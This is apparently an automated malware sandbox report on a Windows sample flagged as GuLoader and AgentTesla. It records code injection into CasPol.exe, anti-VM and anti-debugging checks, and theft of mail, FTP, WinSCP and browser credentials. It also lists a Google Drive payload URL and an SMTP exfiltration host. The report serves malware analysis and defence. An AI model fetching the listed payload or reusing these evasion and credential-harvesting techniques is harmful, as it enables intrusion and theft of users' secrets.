Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: exe.exe, 00000002.00000002.173207280826.0000000003100000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLL
Source: exe.exe, 00000002.00000002.173205251497.0000000000644000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE0UD
Source: exe.exe, 00000002.00000002.173207280826.0000000003100000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178058495885.0000000001140000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: CasPol.exe, 00000004.00000002.178058495885.0000000001140000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1TZC5RT7Z4ISLTTNI8EG1VXRTVZRHSZE8
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 7224 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9960 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\exe.exe System information queried: ModuleInformation Jump to behavior
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 00000004.00000002.178058495885.0000000001140000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8
Source: exe.exe, 00000002.00000002.173207280826.0000000003100000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\msvbvm60.dll
Source: exe.exe, 00000002.00000002.173205251497.0000000000644000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe0Ud
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 00000004.00000002.178057627252.00000000010B8000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.174390768568.00000000010B8000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057056788.0000000001048000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: exe.exe, 00000002.00000002.173207280826.0000000003100000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178058495885.0000000001140000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: exe.exe, 00000002.00000002.173207347901.00000000031C9000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000004.00000002.178060093859.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\exe.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\exe.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E46950 KiUserExceptionDispatcher,LdrInitializeThunk, 4_2_00E46950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\exe.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: F00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\exe.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\exe.exe" Jump to behavior
Source: CasPol.exe, 00000004.00000002.178059661877.00000000018E1000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: CasPol.exe, 00000004.00000002.178059661877.00000000018E1000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 00000004.00000002.178059661877.00000000018E1000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 00000004.00000002.178059661877.00000000018E1000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 5840, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 5840, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 5840, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 528196 Sample: exe.exe Startdate: 24/11/2021 Architecture: WINDOWS Score: 100 17 mail.furteksdokuma.com.tr 2->17 19 furteksdokuma.com.tr 2->19 21 3 other IPs or domains 2->21 29 Found malware configuration 2->29 31 Multi AV Scanner detection for submitted file 2->31 33 Yara detected GuLoader 2->33 35 3 other signatures 2->35 8 exe.exe 1 2->8         started        signatures3 process4 signatures5 37 Writes to foreign memory regions 8->37 39 Tries to detect Any.run 8->39 41 Hides threads from debuggers 8->41 11 CasPol.exe 11 8->11         started        process6 dnsIp7 23 furteksdokuma.com.tr 116.202.203.61, 49823, 587 HETZNER-ASDE Germany 11->23 25 drive.google.com 142.250.185.206, 443, 49800 GOOGLEUS United States 11->25 27 googlehosted.l.googleusercontent.com 142.250.185.225, 443, 49801 GOOGLEUS United States 11->27 43 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->43 45 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 11->45 47 Tries to steal Mail credentials (via file / registry access) 11->47 49 5 other signatures 11->49 15 conhost.exe 11->15         started        signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.185.206
 drive.google.com United States
15169 GOOGLEUS false
116.202.203.61
 furteksdokuma.com.tr Germany
24940 HETZNER-ASDE true
142.250.185.225
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
drive.google.com 142.250.185.206 true
googlehosted.l.googleusercontent.com 142.250.185.225 true
furteksdokuma.com.tr 116.202.203.61 true
doc-0k-5k-docs.googleusercontent.com unknown unknown
mail.furteksdokuma.com.tr unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://doc-0k-5k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luicq00u81odku6djgi2itsobe9p/1637784000000/06007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8?e=download false
    		high